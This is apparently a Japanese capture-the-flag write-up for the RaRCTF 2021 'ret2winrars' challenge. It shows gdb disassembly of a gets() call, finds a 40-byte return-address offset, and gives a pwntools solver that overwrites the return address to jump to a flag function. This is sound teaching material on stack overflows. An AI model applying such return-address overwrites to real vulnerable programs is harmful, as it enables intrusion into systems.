###### tags: `RaRCTF 2021` `Stack Overflow`
# ret2winrars - RARCTF 2021


### writeup
問題名からreturn addressを書き換えると予想できる。
Let's debug!!!

<details><summary>disass main</summary><div>

gef➤  disass main
Dump of assembler code for function main:
   0x0000000000401191 <+0>:     push   rbp
   0x0000000000401192 <+1>:     mov    rbp,rsp
=> 0x0000000000401195 <+4>:     mov    rax,QWORD PTR [rip+0x2eb4]        # 0x404050 <stdout@@GLIBC_2.2.5>
   0x000000000040119c <+11>:    mov    ecx,0x0
   0x00000000004011a1 <+16>:    mov    edx,0x2
   0x00000000004011a6 <+21>:    mov    esi,0x0
   0x00000000004011ab <+26>:    mov    rdi,rax
   0x00000000004011ae <+29>:    call   0x401070 <setvbuf@plt>
   0x00000000004011b3 <+34>:    lea    rdi,[rip+0xe66]        # 0x402020
   0x00000000004011ba <+41>:    call   0x401030 <puts@plt>
   0x00000000004011bf <+46>:    lea    rdi,[rip+0xe7a]        # 0x402040
   0x00000000004011c6 <+53>:    mov    eax,0x0
   0x00000000004011cb <+58>:    call   0x401050 <printf@plt>
   0x00000000004011d0 <+63>:    mov    eax,0x0
   0x00000000004011d5 <+68>:    call   0x401175 <get_license>
   0x00000000004011da <+73>:    lea    rdi,[rip+0xe94]        # 0x402075
   0x00000000004011e1 <+80>:    call   0x401030 <puts@plt>
   0x00000000004011e6 <+85>:    mov    eax,0x0
   0x00000000004011eb <+90>:    pop    rbp
   0x00000000004011ec <+91>:    ret
End of assembler dump.

</div></details>

17行目で、`get_license`関数を呼び出しているので、その関数も見てみる。

<details><summary>disass get_license</summary><div>

gef➤  disass get_license
Dump of assembler code for function get_license:
   0x0000000000401175 <+0>:     push   rbp
   0x0000000000401176 <+1>:     mov    rbp,rsp
   0x0000000000401179 <+4>:     sub    rsp,0x20
   0x000000000040117d <+8>:     lea    rax,[rbp-0x20]
   0x0000000000401181 <+12>:    mov    rdi,rax
   0x0000000000401184 <+15>:    mov    eax,0x0
   0x0000000000401189 <+20>:    call   0x401060 <gets@plt>
   0x000000000040118e <+25>:    nop
   0x000000000040118f <+26>:    leave
   0x0000000000401190 <+27>:    ret
End of assembler dump.

</div></details>

9行目で`gets`関数を呼び出していて、ここに脆弱性がある。
(以下にreturn addressまでのoffsetの求め方)

<details><summary>offsetの求め方</summary><div>

gef➤  pattern create 0x30
[+] Generating a pattern of 48 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[+] Saved as '$_gef0'
gef➤  c
Continuing.
Hello, welcome to the WinRaRs!
Please enter your WinRaR license key to get access: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa

~~~省略~~~

gef➤  x/xg $rsp
0x7fffffffe5a8: 0x6161616c6161616b
gef➤  pattern search 0x6161616c6161616b
[+] Searching for '0x6161616c6161616b'
[+] Found at offset 40 (little-endian search) likely

</div></details>

`get_license`の6行目：`rax,[rbp-0x20]`と、この問題バイナリは64bitなので、`0x20+8`の==40==がoffsetとして正しいと考えられる。

あとは、flagを出力する関数に飛ばすだけ。
(flagを出力する関数を確認する。)

<details><summary>info functions</summary><div>

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  printf@plt
0x0000000000401060  gets@plt
0x0000000000401070  setvbuf@plt
0x0000000000401080  _start
0x00000000004010b0  _dl_relocate_static_pie
0x00000000004010c0  deregister_tm_clones
0x00000000004010f0  register_tm_clones
0x0000000000401130  __do_global_dtors_aux
0x0000000000401160  frame_dummy
0x0000000000401162  flag
0x0000000000401175  get_license
0x0000000000401191  main
0x00000000004011f0  __libc_csu_init
0x0000000000401250  __libc_csu_fini
0x0000000000401254  _fini

</div></details>

ただ、alignmentの問題が生じている。
そのため、(奇数個の)`ret`を挟むことで、0x10の倍数に揃えてくれる。(だからsolverでは`ret`を挟んでいる。)

### solver

from pwn import *

io = process("./ret2winrars")
payload = b""
payload += b"A"*0x20 + b"B"*8
payload += p64(0x401190) # ret
payload += p64(0x401162)

io.sendlineafter("access: " ,payload)
io.interactive()

### 参考文献
[1] [what is “stack alignment”? - StackOverflow](https://stackoverflow.com/questions/672461/what-is-stack-alignment)
[2] [スタックのアラインメント - GitHub Gist](https://gist.github.com/msymt/4d708d079a66aa45a3e26a1f7587c172)